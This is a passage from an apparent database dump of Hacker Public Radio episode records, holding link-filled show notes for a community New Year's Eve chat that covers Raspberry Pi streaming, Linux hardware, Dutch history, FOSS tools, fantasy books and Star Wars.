src=\"https://hackerpublicradio.org/eps/hpr3656/podfaded.png\" alt=\"Example\" /></p>\n',342,0,0,'CC-BY-SA','python, programming',0,0,1),
(3672,'2022-08-30','2021-2022 New Years Show Part 3',11934,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-3\">Part 3</h3>\n<p>WebRTC with RPi Zero - resolution of the ribbon cable camera could be better.</p>\n<p>Tried without success: uv4l (h264) <a href=\"https://www.linux-projects.org\" class=\"uri\">https://www.linux-projects.org</a></p>\n<p>Raspberry Pi Zero</p>\n<p><a href=\"https://www.raspberrypi.com/products/raspberry-pi-zero/\" class=\"uri\">https://www.raspberrypi.com/products/raspberry-pi-zero/</a></p>\n<p>ESP 32 Camera</p>\n<p><a href=\"https://makeradvisor.com/esp32-camera-cam-boards-review-comparison/\" class=\"uri\">https://makeradvisor.com/esp32-camera-cam-boards-review-comparison/</a></p>\n<p>CHDK - Canon Hack Development Kit</p>\n<p><a href=\"https://chdk.fandom.com/wiki/CHDK\" class=\"uri\">https://chdk.fandom.com/wiki/CHDK</a></p>\n<p>uStreamer (mjpg stream) <a href=\"https://github.com/pikvm/ustreamer\" class=\"uri\">https://github.com/pikvm/ustreamer</a></p>\n<p>PiKrellCam (mjpeg stream) <a href=\"https://billw2.github.io/pikrellcam/pikrellcam.html\" class=\"uri\">https://billw2.github.io/pikrellcam/pikrellcam.html</a></p>\n<p>to forward H264 instead of mjpeg</p>\n<p>WebRTC-streamer <a href=\"https://github.com/mpromonet/webrtc-streamer\" class=\"uri\">https://github.com/mpromonet/webrtc-streamer</a></p>\n<p>WebRTC streamer (RWS) <a href=\"https://github.com/kclyu/rpi-webrtc-streamer\" class=\"uri\">https://github.com/kclyu/rpi-webrtc-streamer</a></p>\n<p>CET Germany and 45 more Brussels, Madrid, Paris, Rome, Algiers</p>\n<p>Moss talks about investing with Robin Hood</p>\n<p><a href=\"https://robinhood.com/us/en/\" class=\"uri\">https://robinhood.com/us/en/</a></p>\n<p>Robin Hood Controversy With Game Stop</p>\n<p><a href=\"https://www.nytimes.com/2021/02/18/business/gamestop-robinhood-hearing.html\" class=\"uri\">https://www.nytimes.com/2021/02/18/business/gamestop-robinhood-hearing.html</a></p>\n<p>FOSS North</p>\n<p><a href=\"https://foss-north.se/\" class=\"uri\">https://foss-north.se/</a></p>\n<p>The Grahm Norton Show</p>\n<p><a href=\"https://www.bbc.co.uk/programmes/b006xnzc\" class=\"uri\">https://www.bbc.co.uk/programmes/b006xnzc</a></p>\n<p>Stephen Colbert</p>\n<p><a href=\"https://www.cbs.com/shows/the-late-show-with-stephen-colbert/\" class=\"uri\">https://www.cbs.com/shows/the-late-show-with-stephen-colbert/</a></p>\n<p>Jon Stewart</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Jon_Stewart\" class=\"uri\">https://en.wikipedia.org/wiki/Jon_Stewart</a></p>\n<p>Highest Point in the Netherlands</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Vaalserberg\" class=\"uri\">https://en.wikipedia.org/wiki/Vaalserberg</a></p>\n<p>Seinfeld TV Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0098904/\" class=\"uri\">https://www.imdb.com/title/tt0098904/</a></p>\n<p>Big Bang Theory</p>\n<p><a href=\"https://www.imdb.com/title/tt0898266/\" class=\"uri\">https://www.imdb.com/title/tt0898266/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Big_Bang_Theory\" class=\"uri\">https://en.wikipedia.org/wiki/The_Big_Bang_Theory</a></p>\n<p>Joe Talks Installing Linux on Tablets</p>\n<p>ASUS Transformer Line - where Joe started his journey with installing Linux on tablets</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asus_Transformer\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Transformer</a></p>\n<p>Dell Tablets</p>\n<p><a href=\"https://www.dell.com/en-us/shop/handhelds-tablet-pcs/ac/4327\" class=\"uri\">https://www.dell.com/en-us/shop/handhelds-tablet-pcs/ac/4327</a></p>\n<p><a href=\"https://i.dell.com/sites/doccontent/corporate/secure/en/Documents/dell-venue-11pro-brochure.pdf\" class=\"uri\">https://i.dell.com/sites/doccontent/corporate/secure/en/Documents/dell-venue-11pro-brochure.pdf</a></p>\n<p><a href=\"https://www.dell.com/support/home/en-us/product-support/product/dell-venue-11i-pro/overview\" class=\"uri\">https://www.dell.com/support/home/en-us/product-support/product/dell-venue-11i-pro/overview</a></p>\n<p><a href=\"https://www.dell.com/support/manuals/en-us/dell-venue-11-pro-7000-7140/dell_venue11pro_7140_ug-v1/specifications?guid=guid-ed3189c3-1247-45a2-8265-e9851188ff3e\" class=\"uri\">https://www.dell.com/support/manuals/en-us/dell-venue-11-pro-7000-7140/dell_venue11pro_7140_ug-v1/specifications?guid=guid-ed3189c3-1247-45a2-8265-e9851188ff3e</a></p>\n<p>Installing Linux On Chromebooks</p>\n<p><a href=\"https://itsfoss.com/install-linux-chromebook/\" class=\"uri\">https://itsfoss.com/install-linux-chromebook/</a></p>\n<p><a href=\"https://www.pcmag.com/how-to/install-linux-on-your-chromebook\" class=\"uri\">https://www.pcmag.com/how-to/install-linux-on-your-chromebook</a></p>\n<p>Netherlands Vs. Holland - Whats the difference?</p>\n<p><a href=\"https://www.holland.com/global/tourism/information/general/netherlands-vs-holland.htm\" class=\"uri\">https://www.holland.com/global/tourism/information/general/netherlands-vs-holland.htm</a></p>\n<p>Mark Shuttleworth</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Mark_Shuttleworth\" class=\"uri\">https://en.wikipedia.org/wiki/Mark_Shuttleworth</a></p>\n<p><a href=\"https://www.markshuttleworth.com/\" class=\"uri\">https://www.markshuttleworth.com/</a></p>\n<p>Endless OS</p>\n<p><a href=\"https://endlessos.com/home/\" class=\"uri\">https://endlessos.com/home/</a></p>\n<p><a href=\"https://distrowatch.com/table.php?distribution=endless\" class=\"uri\">https://distrowatch.com/table.php?distribution=endless</a></p>\n<p>Hannah Montana Linux</p>\n<p><a href=\"http://hannahmontana.sourceforge.net/\" class=\"uri\">http://hannahmontana.sourceforge.net/</a></p>\n<p>Ittoqqortoormiit is in Greenland</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ittoqqortoormiit\" class=\"uri\">https://en.wikipedia.org/wiki/Ittoqqortoormiit</a></p>\n<p><a href=\"https://visitgreenland.com/destinations/ittoqqortoormiit/\" class=\"uri\">https://visitgreenland.com/destinations/ittoqqortoormiit/</a></p>\n<p>Joe Suggests Reading Brandon Sanderson</p>\n<p><a href=\"https://www.brandonsanderson.com/\" class=\"uri\">https://www.brandonsanderson.com/</a></p>\n<p>How Did Napoleon Influence What Side of the Road We Drive On Today?</p>\n<p><a href=\"https://nationalmotormuseum.org.uk/ufaqs/why-do-we-drive-on-the-left-side-of-the-road-in-the-uk-but-most-other-countries-drive-on-the-right/\" class=\"uri\">https://nationalmotormuseum.org.uk/ufaqs/why-do-we-drive-on-the-left-side-of-the-road-in-the-uk-but-most-other-countries-drive-on-the-right/</a></p>\n<p>The War of 1812</p>\n<p><a href=\"https://www.history.com/topics/war-of-1812/war-of-1812\" class=\"uri\">https://www.history.com/topics/war-of-1812/war-of-1812</a></p>\n<p>American Doesn\'t Use the Metric System Because of Pirates?</p>\n<p><a href=\"https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/19/pirates-yes-pirates-may-be-why-the-u-s-doesnt-use-the-metric-system/\" class=\"uri\">https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/19/pirates-yes-pirates-may-be-why-the-u-s-doesnt-use-the-metric-system/</a></p>\n<p>Transcontinental Railroad</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Transcontinental_railroad\" class=\"uri\">https://en.wikipedia.org/wiki/Transcontinental_railroad</a></p>\n<p>Dutch East India Company</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Dutch_East_India_Company\" class=\"uri\">https://en.wikipedia.org/wiki/Dutch_East_India_Company</a></p>\n<p>Dutch Saint Nicholas / Christmas In The Netherlands</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Sinterklaas\" class=\"uri\">https://en.wikipedia.org/wiki/Sinterklaas</a></p>\n<p><a href=\"https://www.whychristmas.com/cultures/netherlands\" class=\"uri\">https://www.whychristmas.com/cultures/netherlands</a></p>\n<p>Rio Grande River Damns</p>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_Rio_Grande_dams_and_diversions\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_Rio_Grande_dams_and_diversions</a></p>\n<p>Hurricane Harvey &amp; Katrina</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hurricane_Katrina\" class=\"uri\">https://en.wikipedia.org/wiki/Hurricane_Katrina</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hurricane_Harvey\" class=\"uri\">https://en.wikipedia.org/wiki/Hurricane_Harvey</a></p>\n<p>How Much Of The Netherlands Is Below Sea Level</p>\n<p><a href=\"https://www.holland.com/global/tourism/information/general/dutch-water-facts.htm\" class=\"uri\">https://www.holland.com/global/tourism/information/general/dutch-water-facts.htm</a></p>\n<p>Chicago Is Sinking</p>\n<p><a href=\"https://www.smithsonianmag.com/smart-news/chicago-can-blame-glaciers-sinking-city-180971643/\" class=\"uri\">https://www.smithsonianmag.com/smart-news/chicago-can-blame-glaciers-sinking-city-180971643/</a></p>\n<p><a href=\"https://www.nytimes.com/interactive/2021/07/07/climate/chicago-river-lake-michigan.html\" class=\"uri\">https://www.nytimes.com/interactive/2021/07/07/climate/chicago-river-lake-michigan.html</a></p>\n<p>Rotterdamn - The Largest Harbor in Europe</p>\n<p><a href=\"https://www.shipafreight.com/knowledge-series/largest-ports-in-europe/\" class=\"uri\">https://www.shipafreight.com/knowledge-series/largest-ports-in-europe/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Port_of_Rotterdam\" class=\"uri\">https://en.wikipedia.org/wiki/Port_of_Rotterdam</a></p>\n<p>Zeeland</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Zeeland\" class=\"uri\">https://en.wikipedia.org/wiki/Zeeland</a></p>\n<p><a href=\"https://www.holland.com/global/tourism/destinations/provinces/zeeland.htm\" class=\"uri\">https://www.holland.com/global/tourism/destinations/provinces/zeeland.htm</a></p>\n<p>Frisian Languages</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Frisian_languages\" class=\"uri\">https://en.wikipedia.org/wiki/Frisian_languages</a></p>\n<p><a href=\"https://www.babbel.com/en/magazine/what-is-frisian\" class=\"uri\">https://www.babbel.com/en/magazine/what-is-frisian</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3677,'2022-09-06','2021-2022 New Years Show Part 4',11653,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-4\">Part 4</h3>\n<p>Star Wars : The Bad Batch</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars:_The_Bad_Batch\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars:_The_Bad_Batch</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-the-bad-batch\" class=\"uri\">https://www.starwars.com/series/star-wars-the-bad-batch</a></p>\n<p>Star Wars Rebels</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars_Rebels\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars_Rebels</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-rebels\" class=\"uri\">https://www.starwars.com/series/star-wars-rebels</a></p>\n<p>Star Wars - The Clone Wars</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Wars:_The_Clone_Wars_(2008_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Wars:_The_Clone_Wars_(2008_TV_series)</a></p>\n<p><a href=\"https://www.starwars.com/series/star-wars-the-clone-wars\" class=\"uri\">https://www.starwars.com/series/star-wars-the-clone-wars</a></p>\n<p>Star Wars - Book Of Boba Fett</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett\" class=\"uri\">https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett</a></p>\n<p><a href=\"https://www.starwars.com/series/the-book-of-boba-fett\" class=\"uri\">https://www.starwars.com/series/the-book-of-boba-fett</a></p>\n<p>Father Ted</p>\n<p><a href=\"https://www.imdb.com/title/tt0111958/\" class=\"uri\">https://www.imdb.com/title/tt0111958/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Father_Ted\" class=\"uri\">https://en.wikipedia.org/wiki/Father_Ted</a></p>\n<p>Gary Gygax - Creator of Dungeons &amp; Dragons</p>\n<p><a href=\"https://dungeons.fandom.com/wiki/Gary_Gygax\" class=\"uri\">https://dungeons.fandom.com/wiki/Gary_Gygax</a></p>\n<p><a href=\"https://www.wired.com/2008/03/dungeon-master-life-legacy-gary-gygax/\" class=\"uri\">https://www.wired.com/2008/03/dungeon-master-life-legacy-gary-gygax/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Gary_Gygax\" class=\"uri\">https://en.wikipedia.org/wiki/Gary_Gygax</a></p>\n<p>Tolkien, The Hobbit, Lord Of The Rings</p>\n<p><a href=\"https://www.tolkiensociety.org/author/biography/\" class=\"uri\">https://www.tolkiensociety.org/author/biography/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/J._R._R._Tolkien\" class=\"uri\">https://en.wikipedia.org/wiki/J._R._R._Tolkien</a></p>\n<p><a href=\"http://tolkiengateway.net/wiki/The_Hobbit\" class=\"uri\">http://tolkiengateway.net/wiki/The_Hobbit</a></p>\n<p><a href=\"http://tolkiengateway.net/wiki/Lord_of_the_rings\" class=\"uri\">http://tolkiengateway.net/wiki/Lord_of_the_rings</a></p>\n<p>The Wheel Of Times (Book series and TV show)</p>\n<p><a href=\"https://stoneblackfiction.com/2020/07/26/book-review-the-wheel-of-time-a-complete-series-review/\" class=\"uri\">https://stoneblackfiction.com/2020/07/26/book-review-the-wheel-of-time-a-complete-series-review/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wheel_of_Time\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wheel_of_Time</a></p>\n<p><a href=\"https://www.imdb.com/title/tt7462410/\" class=\"uri\">https://www.imdb.com/title/tt7462410/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wheel_of_Time_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wheel_of_Time_(TV_series)</a></p>\n<p>Good Omens TV Show</p>\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\n<p>Colour Of Magic - TV &amp; Book</p>\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Colour_of_Magic\" class=\"uri\">https://en.wikipedia.org/wiki/The_Colour_of_Magic</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1079959/\" class=\"uri\">https://www.imdb.com/title/tt1079959/</a></p>\n<p>Star Labs - UK Linux friendly PC reseller</p>\n<p><a href=\"https://us.starlabs.systems/\" class=\"uri\">https://us.starlabs.systems/</a></p>\n<p>Dell XPS 13 Developer Edition</p>\n<p><a href=\"https://www.engadget.com/dells-xps-13-plus-developer-edition-is-the-first-laptop-certified-for-ubuntu-2204-lts-082022945.html\" class=\"uri\">https://www.engadget.com/dells-xps-13-plus-developer-edition-is-the-first-laptop-certified-for-ubuntu-2204-lts-082022945.html</a></p>\n<p>Juno Is A Roman Goddess</p>\n<p><a href=\"https://mythopedia.com/topics/juno\" class=\"uri\">https://mythopedia.com/topics/juno</a></p>\n<p>Juno Computers - UK/ USA - more Linux PCs for sale</p>\n<p><a href=\"https://junocomputers.com/uk/\" class=\"uri\">https://junocomputers.com/uk/</a></p>\n<p>Juno Is Also a Moon of Jupiter</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Moons_of_Jupiter\" class=\"uri\">https://en.wikipedia.org/wiki/Moons_of_Jupiter</a></p>\n<p>Tuxedo Computers - German Linux PC Reseller</p>\n<p><a href=\"https://www.tuxedocomputers.com/\" class=\"uri\">https://www.tuxedocomputers.com/</a></p>\n<p>Arthur C Clarke\'s three laws - Any sufficiently advanced technology is indistinguishable from magic</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Clarke%27s_three_laws\" class=\"uri\">https://en.wikipedia.org/wiki/Clarke%27s_three_laws</a></p>\n<p>Axe of The Dwarvish Lords - Dungeons &amp; Dragons Axe That Turns Wielder Into a Dwarf</p>\n<p><a href=\"http://dnd5e.wikidot.com/wondrous-items:axe-of-the-dwarvish-lords\" class=\"uri\">http://dnd5e.wikidot.com/wondrous-items:axe-of-the-dwarvish-lords</a></p>\n<p>Fire Sign Theater</p>\n<p><a href=\"https://wfmu.org/playlists/FT\" class=\"uri\">https://wfmu.org/playlists/FT</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Firesign_Theatre\" class=\"uri\">https://en.wikipedia.org/wiki/The_Firesign_Theatre</a></p>\n<p><a href=\"https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours\" class=\"uri\">https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours</a></p>\n<p>Magic The Gathering</p>\n<p><a href=\"https://magic.wizards.com/en\" class=\"uri\">https://magic.wizards.com/en</a></p>\n<p>(in reference to Jim Butcher, the Dresden Files series): Joe, Wikipedia now says that there are to be 22 books followed by a \"big apocalyptic trilogy\"<br />\n[22:28:36] (Channel) Moss: <a href=\"https://deadline.com/2018/10/the-dresden-files-fantasy-novels-optioned-fox21-tv-studios-series-development-1202476632/\" class=\"uri\">https://deadline.com/2018/10/the-dresden-files-fantasy-novels-optioned-fox21-tv-studios-series-development-1202476632/</a></p>\n<p>Lively discussion of speculative fiction and worldbuilding - RIP Terry Pratchett</p>\n<p><a href=\"https://jerryjenkins.com/worldbuilding/\" class=\"uri\">https://jerryjenkins.com/worldbuilding/</a></p>\n<p><a href=\"https://writersedit.com/fiction-writing/the-ultimate-guide-to-world-building-how-to-write-fantasy-sci-fi-and-real-life-worlds/\" class=\"uri\">https://writersedit.com/fiction-writing/the-ultimate-guide-to-world-building-how-to-write-fantasy-sci-fi-and-real-life-worlds/</a></p>\n<p><a href=\"https://www.reddit.com/r/worldbuilding/\" class=\"uri\">https://www.reddit.com/r/worldbuilding/</a></p>\n<p>Discussed a current creative project of Ken Fallon at length - discussed the importance of using FOSS for longevity of creative projects to avoid getting locked out by proprietary file formats.</p>\n<p>Ken uses paper + Google Docs... reminded of the Google Graveyard : Google Graveyard - <a href=\"https://killedbygoogle.com/\" class=\"uri\">https://killedbygoogle.com/</a></p>\n<p>Game Of Thrones Books</p>\n<p><a href=\"https://en.wikipedia.org/wiki/A_Song_of_Ice_and_Fire\" class=\"uri\">https://en.wikipedia.org/wiki/A_Song_of_Ice_and_Fire</a></p>\n<p>Considerations for storytelling :</p>\n<p>The Writer\'s Journey - <a href=\"https://en.wikipedia.org/wiki/The_Writer%27s_Journey:_Mythic_Structure_for_Writers\" class=\"uri\">https://en.wikipedia.org/wiki/The_Writer%27s_Journey:_Mythic_Structure_for_Writers</a></p>\n<p>The Seven Basic Plots - <a href=\"https://en.wikipedia.org/wiki/The_Seven_Basic_Plots\" class=\"uri\">https://en.wikipedia.org/wiki/The_Seven_Basic_Plots</a></p>\n<p>The Hero\'s Journey - <a href=\"https://en.wikipedia.org/wiki/Hero%27s_journey\" class=\"uri\">https://en.wikipedia.org/wiki/Hero%27s_journey</a></p>\n<p>Also, not enough people draw upon the 100 Year\'s War or Italian city-states period for inspiration - which is the secret sauce for Game of Thrones</p>\n<p>Linked notes, for building webs of information. Crossplaftorm, Linux, Mac, Windows</p>\n<p>Should try worldbuilding with FOSS :</p>\n<p>Spotiflyer on F-Droid</p>\n<p><a href=\"https://f-droid.org/packages/com.shabinder.spotiflyer/\" class=\"uri\">https://f-droid.org/packages/com.shabinder.spotiflyer/</a></p>\n<p>Youtube-DL</p>\n<p><a href=\"https://youtube-dl.org/\" class=\"uri\">https://youtube-dl.org/</a></p>\n<p>Mailspring</p>\n<p><a href=\"https://getmailspring.com/\" class=\"uri\">https://getmailspring.com/</a></p>\n<p>Obsdian - <a href=\"https://obsidian.md/\" class=\"uri\">https://obsidian.md/</a><br />\nLogseq - <a href=\"https://logseq.com/\" class=\"uri\">https://logseq.com/</a><br />\nZettlr - <a href=\"https://www.zettlr.com/download\" class=\"uri\">https://www.zettlr.com/download</a></p>\n<p>Writing :</p>\n<p>Libre Office - <a href=\"https://www.libreoffice.org/\" class=\"uri\">https://www.libreoffice.org/</a></p>\n<p>Art :<br />\nGIMP - <a href=\"https://www.gimp.org/\" class=\"uri\">https://www.gimp.org/</a><br />\nKrita - <a href=\"https://krita.org/en/\" class=\"uri\">https://krita.org/en/</a><br />\n</p>\n<p>Good Evernote alternative :</p>\n<p>Joplin - <a href=\"https://joplinapp.org\" class=\"uri\">https://joplinapp.org</a></p>\n<p>Glimpse - failed politically motivated GIMP fork - <a href=\"https://news.itsfoss.com/glimpse-gimp-fork-archived/\" class=\"uri\">https://news.itsfoss.com/glimpse-gimp-fork-archived/</a></p>\n<p>The current favourite Audacity alternative - <a href=\"https://tenacityaudio.org/\" class=\"uri\">https://tenacityaudio.org/</a></p>\n<p>Youtube Removes Dislikes</p>\n<p><a href=\"https://techcrunch.com/2021/11/10/youtube-is-removing-the-dislike-count-on-all-videos-across-its-platform/\" class=\"uri\">https://techcrunch.com/2021/11/10/youtube-is-removing-the-dislike-count-on-all-videos-across-its-platform/</a></p>\n<p><a href=\"https://www.premiumbeat.com/blog/youtube-removes-dislike-count/\" class=\"uri\">https://www.premiumbeat.com/blog/youtube-removes-dislike-count/</a></p>\n<p>If Terry Pratchett wrote 42 books, the universe would explode</p>\n<p><a href=\"https://www.terrypratchettbooks.com/\" class=\"uri\">https://www.terrypratchettbooks.com/</a></p>\n<p>Terry Goodkind - Sword of Truth - don\'t go past the second book</p>\n<p><a href=\"https://www.terrygoodkind.com/\" class=\"uri\">https://www.terrygoodkind.com/</a></p>\n<p>Orson Scott Card Offical Website</p>\n<p><a href=\"http://www.hatrack.com/\" class=\"uri\">http://www.hatrack.com/</a></p>\n<p>Orson Scott Card Interview With WIred Magazine - Ender\'s Game</p>\n<p><a href=\"https://www.wired.com/2013/10/cardqa/\" class=\"uri\">https://www.wired.com/2013/10/cardqa/</a></p>\n<p>Ender\'s Game as well - don\'t go past the second book</p>\n<p>Ender\'s Shadow</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ender%27s_Shadow\" class=\"uri\">https://en.wikipedia.org/wiki/Ender%27s_Shadow</a></p>\n<p>Alvin Maker</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Tales_of_Alvin_Maker\" class=\"uri\">https://en.wikipedia.org/wiki/The_Tales_of_Alvin_Maker</a></p>\n<p>Lost Gate, Gate Thief, and Gatefather - part of Mither Mages trilogy by Orson Scott Card</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Lost_Gate\" class=\"uri\">https://en.wikipedia.org/wiki/The_Lost_Gate</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Gate_Thief\" class=\"uri\">https://en.wikipedia.org/wiki/The_Gate_Thief</a></p>\n<p>Artemis Fowl</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Artemis_Fowl\" class=\"uri\">https://en.wikipedia.org/wiki/Artemis_Fowl</a></p>\n<p>Cadfael Chronicles</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Cadfael_Chronicles\" class=\"uri\">https://en.wikipedia.org/wiki/The_Cadfael_Chronicles</a></p>\n<p>The Hunger Games</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Hunger_Games\" class=\"uri\">https://en.wikipedia.org/wiki/The_Hunger_Games</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1392170/\" class=\"uri\">https://www.imdb.com/title/tt1392170/</a> (movie)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Hunger_Games_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Hunger_Games_(film)</a></p>\n<p><a href=\"https://www.lionsgate.com/franchises/the-hunger-games\" class=\"uri\">https://www.lionsgate.com/franchises/the-hunger-games</a></p>\n<p><a href=\"https://brantsteele.net/hungergames/disclaimer.php\" class=\"uri\">https://brantsteele.net/hungergames/disclaimer.php</a> - The Hunger Games Simulator</p>\n<p>Twilight is garbage?</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Twilight_(novel_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Twilight_(novel_series)</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1099212/\" class=\"uri\">https://www.imdb.com/title/tt1099212/</a></p>\n<p><a href=\"https://www.reddit.com/r/twilight/comments/gq7uil/why_does_everyone_think_twilight_is_so_bad_a_rant/\" class=\"uri\">https://www.reddit.com/r/twilight/comments/gq7uil/why_does_everyone_think_twilight_is_so_bad_a_rant/</a> - thoughts from Reddit</p>\n<p><a href=\"https://www.cinemablend.com/news/2570595/the-twilight-books-vs-movies-major-differences-from-stephenie-meyers-novels-and-the-films\" class=\"uri\">https://www.cinemablend.com/news/2570595/the-twilight-books-vs-movies-major-differences-from-stephenie-meyers-novels-and-the-films</a> (How the books and movies differ)</p>\n<p>Jar Jar Binks is a Sith Lord aka The Darth Jar Theory</p>\n<p>theory goes that by prolonging the Clone Wars and helping Doku escape, he enabled the Empire to continue. Also, Palpatine was helped into power by his machinations.</p>\n<p><a href=\"https://insidethemagic.net/2021/10/jar-jar-binks-sith-al1/\" class=\"uri\">https://insidethemagic.net/2021/10/jar-jar-binks-sith-al1/</a></p>\n<p><a href=\"https://screenrant.com/star-wars-details-prove-darth-jar-jar-theory/\" class=\"uri\">https://screenrant.com/star-wars-details-prove-darth-jar-jar-theory/</a></p>\n<p><a href=\"https://swfanon.fandom.com/wiki/Darth_Jar_Jar_(Beethoven4ever)\" class=\"uri\">https://swfanon.fandom.com/wiki/Darth_Jar_Jar_(Beethoven4ever)</a></p>\n<p><a href=\"https://www.cbr.com/star-wars-darth-jar-jar-theories-benefit-hated-character/\" class=\"uri\">https://www.cbr.com/star-wars-darth-jar-jar-theories-benefit-hated-character/</a></p>\n<p>Star Wars Droids</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Star_Wars:_Droids:_The_Adventures_of_R2-D2_and_C-3PO\" class=\"uri\">https://starwars.fandom.com/wiki/Star_Wars:_Droids:_The_Adventures_of_R2-D2_and_C-3PO</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0088510/\" class=\"uri\">https://www.imdb.com/title/tt0088510/</a></p>\n<p><a href=\"https://youtu.be/ygr8wsqrhtI\" class=\"uri\">https://youtu.be/ygr8wsqrhtI</a></p>\n<p>Star Wars Holiday Special</p>\n<p><a href=\"https://www.starwarsholidayspecial.com/\" class=\"uri\">https://www.starwarsholidayspecial.com/</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0193524/\" class=\"uri\">https://www.imdb.com/title/tt0193524/</a></p>\n<p><a href=\"https://youtu.be/6hH8rxarVG8\" class=\"uri\">https://youtu.be/6hH8rxarVG8</a></p>\n<p>Yuuzhan Vong</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Yuuzhan_Vong\" class=\"uri\">https://starwars.fandom.com/wiki/Yuuzhan_Vong</a></p>\n<p>Chiss</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Chiss/Legends\" class=\"uri\">https://starwars.fandom.com/wiki/Chiss/Legends</a></p>\n<p>Joker (movie)</p>\n<p><a href=\"https://www.imdb.com/title/tt7286456/\" class=\"uri\">https://www.imdb.com/title/tt7286456/</a></p>\n<p>Also Heath Ledger is the best Joker ever says Honkey Magoo</p>\n<p>Star Wars - The First Order</p>\n<p><a href=\"https://starwars.fandom.com/wiki/First_Order\" class=\"uri\">https://starwars.fandom.com/wiki/First_Order</a></p>\n<p>Jedi Praxeum aka Jedi School</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Jedi_Praxeum\" class=\"uri\">https://starwars.fandom.com/wiki/Jedi_Praxeum</a></p>\n<p>Marvel Multiverse</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Multiverse_(Marvel_Comics)\" class=\"uri\">https://en.wikipedia.org/wiki/Multiverse_(Marvel_Comics)</a></p>\n<p>The Simpsons</p>\n<p><a href=\"https://simpsons.fandom.com/wiki/Simpsons_Wiki\" class=\"uri\">https://simpsons.fandom.com/wiki/Simpsons_Wiki</a></p>\n<p>The Simpsons Predictions</p>\n<p><a href=\"https://www.joe.co.uk/entertainment/the-definitive-list-of-everything-the-simpsons-predicted-that-shockingly-came-true-305627\" class=\"uri\">https://www.joe.co.uk/entertainment/the-definitive-list-of-everything-the-simpsons-predicted-that-shockingly-came-true-305627</a></p>\n<p><a href=\"https://collider.com/predictions-the-simpsons-came-true/\" class=\"uri\">https://collider.com/predictions-the-simpsons-came-true/</a></p>\n<p>South Park</p>\n<p><a href=\"https://southpark.cc.com/\" class=\"uri\">https://southpark.cc.com/</a></p>\n<p>Dick Van Dyke Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0054533/\" class=\"uri\">https://www.imdb.com/title/tt0054533/</a></p>\n<p><a href=\"https://www.metv.com/shows/the-dick-van-dyke-show\" class=\"uri\">https://www.metv.com/shows/the-dick-van-dyke-show</a></p>\n<p><a 